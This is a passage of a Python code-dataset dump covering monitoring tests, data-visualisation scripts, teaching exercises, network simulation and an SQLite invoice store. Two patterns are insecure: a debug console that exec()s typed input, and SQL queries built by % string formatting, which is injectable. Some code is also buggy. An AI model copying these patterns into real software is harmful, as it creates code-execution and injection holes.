status=FargateCheck.WARNING, tags=INSTANCE_TAGS, count=1)\n\n\ndef test_successful_check(check, instance, aggregator):\n    \"\"\"\n    Testing successful fargate check.\n    \"\"\"\n    with mock.patch('datadog_checks.ecs_fargate.ecs_fargate.requests.get', side_effect=mocked_requests_get):\n        check.check(instance)\n\n    aggregator.assert_service_check(\"fargate_check\", status=FargateCheck.OK, tags=INSTANCE_TAGS, count=1)\n\n    common_tags = INSTANCE_TAGS + [\n        'ecs_cluster:pierrem-test-fargate', 'ecs_task_family:redis-datadog', 'ecs_task_version:1'\n    ]\n\n    container_tags = [\n        [\n            'docker_image:datadog/docker-dd-agent:latest',\n            'image_name:datadog/docker-dd-agent',\n            'image_tag:latest',\n            'com.amazonaws.ecs.container-name:dd-agent',\n            'docker_name:ecs-redis-datadog-1-dd-agent-8085fa82d1d3ada5a601'\n        ],\n        [\n            'docker_image:redis:latest',\n            'image_name:redis',\n            'image_tag:latest',\n            'com.amazonaws.ecs.container-name:redis',\n            'docker_name:ecs-redis-datadog-1-redis-ce99d29f8ce998ed4a00'\n        ],\n        [\n            'docker_image:amazon/amazon-ecs-pause:0.1.0',\n            'image_name:amazon/amazon-ecs-pause',\n            'image_tag:0.1.0',\n            'com.amazonaws.ecs.container-name:~internal~ecs~pause',\n            'docker_name:ecs-redis-datadog-1-internalecspause-a2df9cefc2938ec19e01'\n        ]\n    ]\n\n    expected_container_metrics = [\n        'ecs.fargate.io.ops.write', 'ecs.fargate.io.bytes.write', 'ecs.fargate.io.ops.read',\n        'ecs.fargate.io.bytes.read', 'ecs.fargate.cpu.user', 'ecs.fargate.cpu.system', 'ecs.fargate.cpu.percent',\n        'ecs.fargate.mem.cache', 'ecs.fargate.mem.active_file', 'ecs.fargate.mem.inactive_file',\n        'ecs.fargate.mem.pgpgout', 'ecs.fargate.mem.limit', 'ecs.fargate.mem.pgfault', 'ecs.fargate.mem.active_anon',\n        'ecs.fargate.mem.usage', 'ecs.fargate.mem.rss', 'ecs.fargate.mem.pgpgin', 'ecs.fargate.mem.pgmajfault',\n        'ecs.fargate.mem.mapped_file', 'ecs.fargate.mem.max_usage'\n    ]\n\n    extra_expected_metrics_for_container = [\n        [\n            'ecs.fargate.cpu.limit', 'ecs.fargate.mem.hierarchical_memory_limit',\n            'ecs.fargate.mem.hierarchical_memsw_limit'\n        ],\n        [\n            'ecs.fargate.cpu.limit', 'ecs.fargate.mem.hierarchical_memory_limit',\n            'ecs.fargate.mem.hierarchical_memsw_limit'\n        ],\n        []  # pause container get fewer metrics\n    ]\n\n    for i in range(3):\n        tags = common_tags + container_tags[i]\n        for metric in expected_container_metrics:\n            aggregator.assert_metric(metric, count=1, tags=tags)\n        for metric in extra_expected_metrics_for_container[i]:\n            aggregator.assert_metric(metric, count=1, tags=tags)\n\n    aggregator.assert_all_metrics_covered()\n","sub_path":"ecs_fargate/tests/test_unit.py","file_name":"test_unit.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"507648020","text":"\"\"\"\nThis is the main script to launch everything\nIs able to reduce the data and launch a vizualization\nfrom it.\n\"\"\"\n\nimport logging\n\nimport matplotlib\nmatplotlib.use('Qt5Agg')  # noqa\nimport numpy as np\nimport os\nimport argparse\n\nfrom vizuka import dim_reduction\nfrom vizuka import data_loader\nfrom vizuka import vizualization\n\n\ndef main():\n\n    \"\"\"\n    See --help if you want help\n    \"\"\"\n    \n    from vizuka.config import (\n        DATA_PATH,\n        VERSION,\n        REDUCTION_SIZE_FACTOR,\n        REDUCTED_DATA_PATH,\n        PARAMS_LEARNING,\n        PARAMS_VIZ,\n        MODEL_PATH,\n        INPUT_FILE_BASE_NAME,\n        OUTPUT_NAME,\n        RAW_NAME,\n    )\n\n\n    logging.basicConfig(level=logging.DEBUG)\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        '-f', '--feature_to_filter', action='append',\n         help='Adds a feature listed in originals.npz[\"columns\"] to the filters list')\n    parser.add_argument(\n        '-s', '--feature_to_show', action='append',\n         help='Adds a feature listed in originals.npz[\"columns\"] to the cluster view')\n    parser.add_argument(\n        '--reduce', action=\"store_true\",\n         help='launch a full dimension reduction')\n    parser.add_argument(\n        '--use_pca', \n         help='force a PCA dimensional reduction, needs a minimum variance ratio explained')\n    parser.add_argument(\n        '--version', type=str,\n        help='(optional) specify a version of the files to load/generate, currently: '+VERSION)\n    parser.add_argument(\n        '--force_no_predict', action=\"store_true\",\n        help='do not load a predictions file : vizualize as if you predicted with 100% accuracy')\n    parser.add_argument(\n        '--no_vizualize', action=\"store_true\",\n         help='do not prepare a nice data vizualization')\n    parser.add_argument(\n        '--no_plot', action=\"store_true\",\n         help='do not show a nice data vizualization (but prepare it nonetheless)')\n    parser.add_argument(\n        '--path',\n         help='(optional) location of your data/ folder, containing set/ reducted/ graph/ models/')\n    \n    parser.set_defaults(\n            no_plot=False, \n            no_vizualize=False,\n            version=VERSION,\n            path=os.path.dirname(__file__),\n            feature_to_filter=[],\n            feature_to_show=[],\n            use_pca = 0,\n            force_no_predict = False,\n            )\n\n    args = parser.parse_args()\n\n    MODEL_PATH = os.path.join(args.path, MODEL_PATH)\n    INPUT_FILE_BASE_NAME = os.path.join(args.path, INPUT_FILE_BASE_NAME)\n    REDUCTED_DATA_PATH = os.path.join(args.path, REDUCTED_DATA_PATH)\n    DATA_PATH = os.path.join(args.path, DATA_PATH)\n\n\n    reduce_      = args.reduce\n    no_vizualize = args.no_vizualize\n    no_plot      = args.no_plot\n    version      = args.version\n    features_name_to_filter  = args.feature_to_filter\n    features_name_to_display = args.feature_to_show\n    pca_variance_needed = args.use_pca\n    force_no_predict = args.force_no_predict\n    \n    new_fntd = {}\n    error_msg  = 'Argument should be feature_name:plotter with plotter'\n    error_msg += '\\nin (logdensity, density, wordcloud, counter)'\n    e = Exception(error_msg)\n    for feature_name in features_name_to_display:\n        if ':' not in feature_name:\n            raise e\n        k,v = feature_name.split(':')\n        # TODO if v not in cluster_diving.plotter.keys():\n        #    raise e\n        plotters = new_fntd.get(k, [])\n        plotters.append(v)\n        new_fntd[k] = plotters\n    features_name_to_display = new_fntd\n\n    logging.info(\"Starting script\")\n    logging.info(\"raw_data=loading\")\n\n    (\n        x,\n        y,\n        class_encoder,\n        class_decoder,\n    ) = data_loader.load_preprocessed(\n            file_base_name   = INPUT_FILE_BASE_NAME,\n            output_name      = OUTPUT_NAME,\n            path             = DATA_PATH,\n            version          = version,\n            reduction_factor = REDUCTION_SIZE_FACTOR\n            )\n\n    logging.info('raw_data=loaded')\n\n    x_transformed = {}\n    if not reduce_:\n        logging.info(\"t-sne=loading\")\n\n        x_transformed, models = data_loader.load_tSNE(\n            params                = PARAMS_LEARNING,\n            version               = version,\n            path                  = REDUCTED_DATA_PATH,\n            reduction_size_factor = REDUCTION_SIZE_FACTOR,\n        )\n        logging.info(\"found version:{} with\"\n                     \"{} different sets of reducted data\".format(\n                            version, len(x_transformed)\n                            )\n                     )\n\n        logging.info('t-sne=ready')\n\n    if not x_transformed:\n        logging.info(\"no reduced data found! Needs to learn some dimension reduction..\")\n        force_reduce = True\n    else:\n        force_reduce = False\n\n    if force_reduce or reduce_: # if nothing loaded or reduce is forced by arg\n        logging.info(\"t-sne=learning\")\n\n        x_transformed, models = dim_reduction.learn_tSNE(\n            x                       = x,\n            params                  = PARAMS_LEARNING,\n            version                 = version,\n            path                    = REDUCTED_DATA_PATH,\n            reduction_size_factor   = REDUCTION_SIZE_FACTOR,\n            pca_variance_needed     = pca_variance_needed,\n        )\n\n        logging.info('t-sne=ready')\n    \n    param_to_vizualize = (\n            PARAMS_VIZ['perplexity'],\n            PARAMS_VIZ['learning_rate'],\n            PARAMS_VIZ['init'],\n            PARAMS_VIZ['n_iter'],\n            )\n\n    if param_to_vizualize in x_transformed.keys():\n        x_2D = x_transformed[param_to_vizualize]\n    else:\n        random_param_to_load = list(x_transformed.keys())[0]\n        logging.info(\"PARAM_VIZ specified in config.py not found, but other data exists\"\n                     \" will load {} instead (chosen randomly)\".format(random_param_to_load)\n                     )\n        x_2D = x_transformed[random_param_to_load]\n\n\n    ###############\n    # PREDICT\n    if force_no_predict:\n        x_predicted = y\n    else:\n        try:\n            logging.info('predictions=loading')\n            x_predicted = data_loader.load_predict(\n                path=MODEL_PATH,\n                version=version,\n            )\n            logging.info('RNpredictions=ready')\n        except FileNotFoundError:\n            logging.info((\n                    \"Nothing found in {}, no predictions to vizualize\\n\"\n                    \"if this is intended you can force the vizualization\"\n                    \"with --force_no_predict :\\n{}\\n\"\n                    ).format(MODEL_PATH, os.listdir(MODEL_PATH)))\n            return\n    \n    raw = data_loader.load_raw(version, DATA_PATH)\n    if raw:\n        logging.info(\"loading raw transactions for analysis..\")\n        raw_data, raw_columns = raw\n    else:\n        logging.info('no raw data provided, all cluster vizualization disabled! (-s and -f options)')\n        raw_data    = []\n        raw_columns = []\n        features_name_to_filter  = []\n        features_name_to_display = {}\n\n\n    \n    if not no_vizualize:\n\n        f = vizualization.Vizualization(\n            projected_input=x_2D,\n            predicted_outputs=x_predicted,\n            raw_inputs=raw_data,\n            raw_inputs_columns=raw_columns,\n            correct_outputs=y,\n            resolution=200,\n            class_decoder=class_decoder,\n            class_encoder=class_encoder,\n            special_class='x',\n            nb_of_clusters=120,\n            features_name_to_filter  = features_name_to_filter,\n            features_name_to_display = features_name_to_display,\n            output_path=os.path.join('output.csv'),\n            model_path=MODEL_PATH,\n            version=version,\n        )\n\n        if not no_plot:\n            f.plot()\n            f.show()\n    return f\n\nif __name__ == '__main__':\n    main()\n","sub_path":"vizuka/launch_viz.py","file_name":"launch_viz.py","file_ext":"py","file_size_in_byte":7876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"217650434","text":"import numpy as np\n\ndef test_list_indexing(todo_list):\n    \n    try:\n        assert(todo_list[2] == 'REPLACED')\n    except AssertionError as e:\n        print(\"The element 'TO_REPLACE_1' is not correctly replaced!\")\n        raise(e)\n \n    try:\n        assert(todo_list[-1][-1][-1] == 'REPLACED')\n    except AssertionError as e:\n        print(\"The element 'TO_REPLACE_2' is not correctly replaced!\")\n        raise(e)\n   \n    print('Well done!')\n\n\ndef test_slicing_1(lst):\n    \n    c_answer = [2, 3, 4, 5, 6]\n    try:\n        assert(lst == c_answer)\n    except AssertionError:\n        print('The slice is incorrect!')\n        raise IncorrectAnswer(lst, c_answer)\n    else:\n        print(\"Well done!\")\n\n\ndef test_slicing_2(lst):\n    \n    c_answer = [5, 7, 9, 11]\n    \n    try:\n        assert(lst == c_answer)\n    except AssertionError:\n        print('The slice is incorrect!')\n        raise IncorrectAnswer(lst, c_answer)\n    else:\n        print(\"Well done!\")\n\n        \ndef test_create_array_with_zeros(arr):\n    \n    c_answer = np.zeros((2, 3, 5, 3, 7))\n    try:\n        assert(np.all(arr.shape == c_answer.shape))\n    except AssertionError as e:\n        print(\"Your array has the wrong shape, namely %r, but I expected %r\" % (arr.shape, c_answer.shape,))\n        raise(e)\n\n    try:\n        assert(np.all(arr == 0.0))\n    except AssertionError as e:\n        print(\"Your array does not contain zeros ... Did you use np.zeros()?\")\n        raise(e)\n\n    print(\"Well done!\")\n\n    \ndef test_fill_array_with_complement(arr):\n    \n    c_answer = 1.0 / np.arange(1, 9)\n    try:\n        np.testing.assert_array_almost_equal(arr, c_answer, 4)\n    except AssertionError as e:\n        print(\"Your array (%r) does not match the correct answer (%r)!\" % (arr, c_answer))\n        raise(e)\n    else:\n        print(\"AWESOME!\")\n\n\ndef test_set_odd_indices_to_zero(arr):\n    \n    c_answer = np.arange(3, 25)\n    c_answer[1::2] = 0.0\n    \n    try:\n        np.testing.assert_array_almost_equal(arr, c_answer, 4)\n    except AssertionError as e:\n        print(\"Your array (%r) does not match the correct answer (%r)!\" % (arr, c_answer))\n        raise(e)\n    else:\n        print(\"Good job!\")\n\n\ndef test_set_lower_right_value_to_one(arr):\n    \n    c_answer = np.zeros((3, 3))\n    c_answer[-1, -1] = 1.0\n    \n    try:\n        np.testing.assert_array_almost_equal(arr, c_answer, 4)\n    except AssertionError as e:\n        print(\"Your array: \\n\\n%r\\n\\ndoes not match the correct answer:\\n\\n%r!\" % (arr, c_answer))\n        raise(e)\n    else:\n        print(\"Superb!\")\n\n\ndef test_bloodpressure_index(arr):\n\n    np.random.seed(42)\n    bp_data = np.random.normal(loc=100, scale=5, size=(20, 24, 30, 2))\n    c_answer = bp_data[:, :, 17, 1]\n\n    try:\n        assert(arr.shape == (20, 24))\n    except AssertionError as e:\n        print(\"The result of your indexing operation is of shape %r, \"\n              \"while it should be %r, namely 20 subjects by 24 hours\"  % (arr.shape, (20, 24)))\n        raise(e)\n\n    try:\n        np.testing.assert_array_almost_equal(arr, c_answer, 4)\n    except AssertionError as e:\n        print(\"Your answer is not correct! Did you perhaps forget that Python has zero-based indexing? (First index is 0!)\")\n        raise(e)\n    \n    print(\"You're incredible!\")\n\n\ndef test_boolean_indexing(arr):\n    \n    my_array = np.array([[0, 1, -1, -2],\n                     [2, -5, 1, 4],\n                     [10, -2, -4, 20]])\n    c_answer = my_array[my_array ** 2 > 4]\n    \n    try:\n        np.testing.assert_array_equal(arr, c_answer)\n    except AssertionError as e:\n        print(\"Incorrect answer! I expected %r, but I got %r\" % (c_answer, arr))\n        raise(e)\n    \n    print(\"EPIC!\")\n    \n\ndef test_tvalue_computation(arr, h0, tval_ans):\n    \n    c_tval = (arr.mean() - h0) / (arr.std() / np.sqrt(arr.size - 1))\n    \n    try:\n        np.testing.assert_almost_equal(tval_ans, c_tval)\n    except AssertionError as e:\n        print(\"T-value is incorrect! Your t-value is %.3f, while it should be %.3f\" % (tval_ans, c_tval))\n        raise(e)\n    \n    print(\"Correct! You stats wizard!\")\n\n    \ndef test_array_product_and_sum(arr):\n    \n    arr_A = np.arange(10).reshape((5, 2))\n    arr_B = np.arange(10, 20).reshape((5, 2))\n    c_answer = (arr_A * arr_B) + 5\n\n    try:\n        np.testing.assert_array_equal(arr, c_answer)\n    except AssertionError as e:\n        print(\"Your answer is incorrect! I got:\\n\\n%r\\n\\nbut I expected:\\n\\n%r\" % (arr, c_answer))\n        raise(e)\n    else:\n        print(\"Great!\")\n        \n\ndef test_compute_range_vectorized(arr, ans):\n    \n    c_answer = arr.max(axis=0) - arr.min(axis=0)\n    \n    try:\n        assert(ans.shape == c_answer.shape)\n    except AssertionError as e:\n        print(\"The shape of your answer is incorrect! I got %r, \"\n              \"but I expected %r for input-array of shape %r\" % (ans.shape, c_answer.shape, arr.shape))\n        raise(e)\n    \n    try:\n        np.testing.assert_array_almost_equal(ans, c_answer, 4)\n    except AssertionError as e:\n        print(\"Your answer is incorrect! Your answer is:\\n\\n%r/n/n But I expected:\\n\\n%r\" % (ans, c_answer))\n        raise(e)\n    \n    print(\"Easy peasy!\")","sub_path":"intropy/solutions/week_1/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"103780171","text":"'''\nCreated on 07-Nov-2016\n\n@author: jren\n'''\nimport os\n\nimport librosa\nimport numpy as np\nimport pandas as pd\nimport joblib\n\npath = os.getcwd() + \"/speech_emotion_recognition\"\n\n\ndef Emotion(audio):\n    model = joblib.load(path + '/model.pkl')\n    print(model)\n    labels = joblib.load(path + '/label.pkl')\n    print(labels)\n    y, sr = librosa.load(audio, res_type='kaiser_fast',\n                         duration=2.5, sr=22050 * 2,\n                         offset=0.5)\n    sr = np.array(sr)\n    mfcc = np.mean(librosa.feature.mfcc(y=y, sr=sr, n_mfcc=13), axis=0)\n    feature_list = []\n    feature_dict = {}\n    feature_dict['features'] = mfcc\n    feature_list.append(feature_dict)\n    df = pd.DataFrame(feature_list)\n    features = pd.DataFrame(df['features'].values.tolist())\n    prediction_array = model.predict(features)\n    prediction = labels[prediction_array[0]]\n    result = {}\n    result['Gender'] = prediction.split('_')[0].title()\n    result['Emotion'] = prediction.split('_')[1].title()\n    return result\n\n\nif __name__ == \"__main__\":\n    pass","sub_path":"speech_emotion_recognition/SpeechEmotion.py","file_name":"SpeechEmotion.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"305218102","text":"import readline\nclass DirectDebugConsole:\n    \"\"\"\n      Direct debug console provide reltime access to application variables and code\n      Only for development! \n      This file is part of blockengine\n      Code by YuxiUx\n    \"\"\"\n    def __init__(self, key=False, local={}, glob={}, default=\"L\"):\n        print(\"Using direct console. Don't do this on production\")\n        print(\" \")\n        self.key = key\n        self.default = default\n        self.local = local\n        self.glob = glob\n    def Input(self, arg=False):\n        inp = \"\"\n        try:\n            print(\"Enter a command or \\m for multiline input\")\n            inp = input('$: ')\n            if inp.strip() == \"\\m\":\n                self.MultiInput()\n            else:\n                self.Exec(inp)\n        except Exception as e:\n            print(e)\n            \n    def MultiInput(self, arg=False):\n        print(\"Multilne input. When are you done enter blank line\")\n        inp = \"\"\n        c = \" \"\n        try:\n            while c != \"\":\n                c = input('$$: ')\n                inp += c + \"\\n\"\n            self.Exec(inp)\n        except Exception as e:\n            print(e)\n    def Listener(self, event):\n        if event.key == self.key:\n            if self.default == \"L\":\n                self.Input()\n            else:\n                self.MultiInput()\n    def Exec(self, cmd):\n        try:\n            exec (cmd, self.local, self.glob)\n            print(\"OK\")\n        except Exception as e:\n            #print(\"Failed to run your command\")\n            print(e)\n        print(\" \")\n    ","sub_path":"blockengine/directdebugconsole.py","file_name":"directdebugconsole.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"32356363","text":"\nimport json\nimport random\nimport numpy as np\nimport pandas as pd\nimport os\n\n#初始化网络\ndef init_network(data_path):\n    import networkx as nx\n\n    # 读入数据\n    network_file = open(data_path)\n    network = []\n    for each_line in network_file:\n        line_split = each_line.split()\n        network.append([int(line_split[0]), int(line_split[1])])\n    network_file.close()\n\n    # 计算节点个数\n    nodes = set({})\n    for each_link in network:\n        nodes.add(each_link[0])\n        nodes.add(each_link[1])\n    node_num = len(nodes)\n\n    G = nx.Graph(network)\n\n    # # 让节点名称和索引相对应\n    # nodes_list = list(nx.nodes(G))\n    # nodes_list.sort()\n    # node_dict = dict()\n    # for i in range(node_num):\n    #     node_dict[nodes_list[i]] = i\n\n    # 记录每个节点的位置信息\n    pos = nx.drawing.spring_layout(G)\n    node_coordinate = []\n    for i in range(node_num):\n        node_coordinate.append([])\n    for i, j in pos.items():\n        # node_coordinate[node_dict[i]].append(float(j[0]))\n        # node_coordinate[node_dict[i]].append(float(j[1]))\n        node_coordinate[i-1].append(float(j[0]))\n        node_coordinate[i-1].append(float(j[1]))\n\n    # 设置传给前端的节点数据边数据的json串\n    graph_data_json = {}\n    nodes_data_json = []\n    # for node in nodes_list:\n    #     nodes_data_json.append({\n    #         'attributes': {'modularity_class': 0},\n    #         'id': str(node),\n    #         'category': 0,\n    #         'itemStyle': '',\n    #         'label': {'normal': {'show': 'false'}},\n    #         'name': str(node),\n    #         'symbolSize': 35,\n    #         'value': 111,\n    #         'x': node_coordinate[node_dict[node]][0],\n    #         'y': node_coordinate[node_dict[node]][1]\n    #     })\n    for node in range(node_num):\n        nodes_data_json.append({\n            'attributes': {'modularity_class': 0},\n            'id': str(node),\n            'category': 0,\n            'itemStyle': '',\n            'label': {'normal': {'show': 'false'}},\n            'name': str(node),\n            'symbolSize': 35,\n            'value': 111,\n            'x': node_coordinate[node][0],\n            'y': node_coordinate[node][1]\n        })\n    links_data_json = []\n    cur_edges = []\n    for link in network:\n        edge = [link[1], link[0]]\n        if edge not in cur_edges:\n            link_id = len(links_data_json)\n            links_data_json.append({\n                'id': str(link_id),\n                'lineStyle': {'normal': {}},\n                'name': 'null',\n                'source': str(link[0]-1),\n                'target': str(link[1]-1)\n            })\n            cur_edges.append(link)\n    graph_data_json['nodes'] = nodes_data_json\n    graph_data_json['links'] = links_data_json\n    graph_data = json.dumps(graph_data_json)\n    return network, node_num, graph_data\n\npath = os.path.dirname(os.path.dirname(__file__)) + '/static/data/Wiki.txt'\nnetworkTemp, number_of_nodes, graph_data = init_network(path)\nnetwork_synfix, num_nodes_synfix, graph_data_synfix = init_network(path)\ndata = pd.read_table(path,header=None)\n\n\n# 计算节点数\ndef CalculateNodesnum():\n    node = []\n    for i in range(len(data)):\n        n1 = int(data[0][i])\n        n2 = int(data[1][i])\n        if n1 not in node:\n            node.append(n1)\n        if n2 not in node:\n            node.append(n2)\n    num_node = len(node)\n    return node, num_node\n\n# 计算边数\ndef CalculateEdgesnum():\n    edges = []\n    for j in range(len(data)):\n        e = [data[0][j], data[1][j]]\n        edges.append(e)\n    num_edges = len(edges)\n    return num_edges, edges\n\n# 计算邻接矩阵\ndef AdjacencyMatrix():\n    num_edges,edges = CalculateEdgesnum()\n    Adj = np.zeros([number_of_nodes, number_of_nodes], dtype=int)\n    for i in range(num_edges):\n        Adj[int(edges[i][0] - 1)][int(edges[i][1] - 1)] = 1\n        Adj[int(edges[i][1] - 1)][int(edges[i][0] - 1)] = 1\n    return Adj\n\n#边的序号\ndef EdgeNumber():\n    num_edges,edges = CalculateEdgesnum()\n    nodeset, num_node = CalculateNodesnum()\n    edgeNum = np.zeros([num_node, num_node])\n    for i in range(num_edges):\n        edgeNum[int(edges[i][0]) - 1][int(edges[i][1]) - 1] = edgeNum[int(edges[i][1]) - 1][\n            int(edges[i][0]) - 1] = i\n    # print(\"edgeNum:\", edgeNum)\n    return edgeNum\n\n# 计算度集\ndef NodeDegreeSet():\n    A = AdjacencyMatrix()\n    DegreeSet = np.zeros([number_of_nodes], dtype=int)\n    for i in range(number_of_nodes):\n        Degree = 0\n        for j in range(number_of_nodes):\n            if (A[i][j] == 1):\n                Degree += 1\n        DegreeSet[i] = Degree\n    return DegreeSet\n\n# 计算邻居节点集\ndef NeighborNodeSet():\n    A = AdjacencyMatrix()\n    NeighborNode = []\n    for i in range(number_of_nodes):\n        neinode = []\n\n        for j in range(number_of_nodes):\n            if (A[i][j] == 1):\n                neinode.append(j+1)  # 矩阵是从0开始的，节点是从1开始的\n        NeighborNode.append(neinode)\n    return NeighborNode\n\n# SI模拟传播\ndef SIsimulation(rateSI,Sus, Inf ):\n    edges_set = []\n    edgenum = EdgeNumber()  # 边的序号\n    N = NeighborNodeSet()  # 邻居节点集合\n    # 对感染节点的邻居，以一定的概率被感染\n    for i in range(len(Inf)):\n        s = int(Inf[i])\n        for j in N[s-1]:\n            if (j in Sus):\n                if random.random() <= rateSI:\n                    Inf.append(j)\n                    Sus.remove(j)\n                    edges_set.append(edgenum[s-1][j-1])\n    return Sus, Inf, edges_set\n\n\n","sub_path":"algorithm/SIModel.py","file_name":"SIModel.py","file_ext":"py","file_size_in_byte":5558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"553465433","text":"from collections import defaultdict\nimport math\nimport numpy as np\nimport brainparse\nimport io\nimport json\nimport os\n\nlamda_sc = .15 #referenced from the Stetter paper \nA_sc = .15 #referenced from the Stetter paper\n\ndef deblur():\n\t\"\"\"Iterate through and remove noise per specifications in the Materials and Methods section of Model-Free Reconstruction of Excitatory Neuronal\n    Connectivity from Calcium Imaging Signals by Olav Stetter.\n\n\tneuron_positions --- dictionary with dict[neuron_id] = (x,y) where x and y are scaled to 500 (from 1000)\n\tneuron_time_series --- dictionary with dict[neuron_id]=[activity_at_1, ... n]\n\n\t\"\"\"\n\t#we might want these as global parameters just for convenience. i have it this way currently for debugging purposes.\n\tneuron_time_series = brainparse.read_data('/Users/austinstone/code/NeuralCodingFinalProject/small/fluorescence_iNet1_Size100_CC03inh.txt')\n\tneuron_positions = brainparse.read_data('/Users/austinstone/code/NeuralCodingFinalProject/small/networkPositions_iNet1_Size100_CC03inh.txt')\n\tnumber_of_neurons=len(neuron_positions)\n\tnumber_of_time_bins = len(neuron_time_series)\n\tdeblurred_fluorescence = np.zeros((number_of_time_bins,number_of_neurons))\n\twrite_to_csv('test.csv', neuron_time_series)\t\n\tdist_mat = get_distance_mat(neuron_positions,A_sc,lamda_sc)\n\tfor time_bin in range(0,number_of_time_bins):\n\t\t#print time_bin\n     \t\tdeblurred_fluorescence[time_bin] = np.linalg.solve(dist_mat,neuron_time_series[time_bin])\n\t\t#print(deblurred_fluorescence_vec)\n\twrite_to_csv('/Users/austinstone/code/NeuralCodingFinalProject/small/deblurred_fluorescence_NW3.csv', deblurred_fluorescence)\t\n\treturn deblurred_fluorescence\n\n\ndef get_distance_mat(neuron_positions,A,h):\n\tnumber_of_neurons = len(neuron_positions)\n\tdist_mat = np.zeros((number_of_neurons,number_of_neurons))\n\tfor i in range(0,number_of_neurons):\n\t\tfor j in range(0,number_of_neurons):\n\t\t\tif(i==j):\n\t\t\t\tdist_mat[i][j]=1\n\t\t\telse:\n\t\t\t\tdist_mat[i][j]=A*math.exp(0-(brainparse.calc_dist(neuron_positions[i],neuron_positions[j])/h)**2)\n\treturn dist_mat\n\n\ndef write_to_csv( file_location, data, names = None ):\n\tnp.savetxt(file_location, data, delimiter=\",\")\n\n\n\n\nif __name__ == '__main__':\n    import sys\n    deblur()\n\n","sub_path":"Connectome_Project/deblur.py","file_name":"deblur.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"390598170","text":"if __name__ == \"__main__\":\n\n    #1\n\n    s = \"Earth revolves around the sun\"\n    print(s[6:14])\n    print(s[-3:])\n\n    #2\n    s1 = \"I love eating\"\n    s2= \"veggies\"\n    s3 = \"fruits\"\n    print(s1+\" \"+s2+\" and \"+s3)\n\n    #3\n    s4 =\"4\"\n    print(s1+\" \"+s4+\" \"+s3+\" everyday\")","sub_path":"Python/Pythonic/strings.py","file_name":"strings.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"575781533","text":"import sqlite3\nimport time\n\n# connexion to the database\n\nconn = sqlite3.connect('images_classification.db')\nconn.execute('''CREATE TABLE IF NOT EXISTS document\n         (id INTEGER  PRIMARY KEY   AUTOINCREMENT,\n         filename           TEXT    NOT NULL,\n         realfilname            TEXT     NOT NULL,\n         filetype        TEXT NOT NULL,\n         siren INTEGER NOT NULL,\n         tva INTEGER NOT NULL,\n         address INTEGER NOT NULL,\n         companyname INTEGER NOT NULL,\n         score REAl NOT NULL,\n         date TEXT NOT NULL) ;''')\n\n\ndef insert_invoice_file(filename, realfilname, filetype, siren, tva, address, companyname, score):\n    conn = sqlite3.connect('images_classification.db')\n    # transform boolean to integer for sqlite (boolean not supported)\n    siren = 0 if not siren else 1\n    tva = 0 if not tva else 1\n    address = 0 if not address else 1\n    companyname = 0 if not companyname else 1\n    # end\n    date = str(time.time())  # timestamp\n    filetype = str.upper(filetype)\n    conn.execute(\"INSERT INTO document (id,filename,realfilname,filetype, siren, tva, address, companyname, score, date) \\\n            VALUES (NULL,%s, %s, %s, %d, %d, %d, %d, %d, %s)\" % (filename, realfilname, filetype, siren, tva, address, companyname, score, date))\n    conn.commit()\n\n\ndef get_files(filetype=None):\n    conn = sqlite3.connect('images_classification.db')\n    if filetype is None:\n        cursor = conn.execute(\"SELECT filename,realfilname,filetype, siren, tva, address, companyname, score, date from document\")\n    else:\n        filetype = str.upper(filetype)\n        cursor = conn.execute(\"SELECT filename,realfilname,filetype, siren, tva, address, companyname, score, date from document WHERE filetype=%s\" % (filetype))\n\n    result = []\n\n    for row in cursor:\n        files = files.append({\n            'filename': row['filename'],\n            'url': row['realfilename'],\n            'filetype': row['filetype'],\n            'siren': True if row['siren'] == 1 else False,\n            'tva': True if row['tva'] == 1 else False,\n            'address': True if row['address'] == 1 else False,\n            'companyname': True if row['companyname'] == 1 else False,\n            'score': True if row['score'] == 1 else False,\n            'date': row['date']\n\n        })\n    return result\n\n\ndef test():\n    insert_invoice_file('erere', 'dede', 'invoice', False, True, False, False, 85.5)\n","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"347709616","text":"import numpy as np\nfrom numpy.lib.function_base import average\n\n\nclass AreaIdentification(object):\n    r\"\"\"Area identification based by coordinates.\n\n    Date:\n        2021\n\n    Author:\n        Luka Lukač\n\n    License:\n        MIT\n\n    Attributes:\n        None\n    \"\"\"\n\n    def __init__(\n        self, positions, distances, timestamps, heartrates, area_coordinates\n    ) -> None:\n        \"\"\"Initialization of the object.\n        return: None\n        \"\"\"\n        self.positions = np.array(positions)\n        self.distances = np.array(distances)\n        self.timestamps = np.array(timestamps)\n        self.heartrates = np.array(heartrates)\n        self.area_coordinates = np.array(area_coordinates)\n\n    def is_equal(self, value1, value2) -> bool:\n        \"\"\"Checking whether the two values are equal with certain tolerance.\n        return: bool\n        \"\"\"\n        tolerance = 0.00001\n\n        # If the absolute value of substraction is smaller than the tolerance threshold,\n        # the two values are counted as equal.\n        if abs(value1 - value2) < tolerance:\n            return True\n\n        return False\n\n    def do_two_lines_intersect(self, p1, p2, p3, p4) -> bool:\n        \"\"\"Checking whether two lines have an intersection point.\n        return: bool\n        \"\"\"\n        # Initialization of vectors and values.\n        v12 = np.array(p2 - p1)\n        v34 = np.array(p4 - p3)\n        v31 = np.array(p1 - p3)\n        D = np.cross(v12, v34)\n        A = np.cross(v34, v31)\n        B = np.cross(v12, v31)\n\n        # If D == 